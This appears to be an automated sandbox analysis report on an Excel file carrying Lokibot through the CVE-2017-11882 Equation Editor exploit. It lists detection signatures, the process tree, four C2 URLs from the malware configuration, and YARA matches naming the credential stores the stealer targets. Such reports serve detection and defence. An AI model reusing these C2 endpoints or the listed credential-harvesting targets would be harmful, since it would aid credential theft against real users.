Edit tour

Windows Analysis Report
_2201S_BUSAN_HOCHIMINH_.xlsx

Overview

General Information

Sample Name:	_2201S_BUSAN_HOCHIMINH_.xlsx
Analysis ID:	569962
MD5:	cf8b307caa943326ee808bb3cb02deee
SHA1:	705c25adbdb7b805e47566540b3804eba178e7da
SHA256:	cbe84e2c523fd51dabb1365df50415ffc51f8159c36798061742f08ba5d31b9b
Tags:	LokiVelvetSweatshopxlsx
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: Droppers Exploiting CVE-2017-11882

Yara detected Lokibot

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected aPLib compressed binary

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file registry)

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Sigma detected: Execution from Suspicious Folder

Office equation editor drops PE file

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Tries to harvest and steal browser information (history, passwords, etc)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Downloads executable code via HTTP

Searches the installation path of Mozilla Firefox

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Drops PE files to the user directory

Dropped file seen in connection with other malware

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2580 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2984 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 1712 cmdline: "C:\Users\Public\vbc.exe" MD5: 7DF1896047D9647D818080DD17563D92)

xmtxpy.exe (PID: 2260 cmdline: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd MD5: 1EACD504E4461F9EE286715997D8A9EE)

xmtxpy.exe (PID: 2556 cmdline: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd MD5: 1EACD504E4461F9EE286715997D8A9EE)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: xmtxpy.exe PID: 2260	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: xmtxpy.exe PID: 2260	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: xmtxpy.exe PID: 2556	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: xmtxpy.exe PID: 2556	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.xmtxpy.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.xmtxpy.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.2.xmtxpy.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.2.xmtxpy.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
6.2.xmtxpy.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
6.2.xmtxpy.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.11.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.11.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.11.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.11.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.11.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.11.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.15.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.15.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.15.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.15.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.15.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.15.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.xmtxpy.exe.130000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.xmtxpy.exe.130000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
5.2.xmtxpy.exe.130000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.2.xmtxpy.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.xmtxpy.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.2.xmtxpy.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.2.xmtxpy.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.2.xmtxpy.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.2.xmtxpy.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.15.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.15.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.15.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.15.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.15.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.15.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.13.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.13.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.13.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.13.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.13.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.13.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.xmtxpy.exe.130000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.xmtxpy.exe.130000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.xmtxpy.exe.130000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.xmtxpy.exe.130000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
5.2.xmtxpy.exe.130000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
5.2.xmtxpy.exe.130000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.13.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.13.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.13.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.13.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.13.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.13.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.5.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.5.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.5.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.5.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
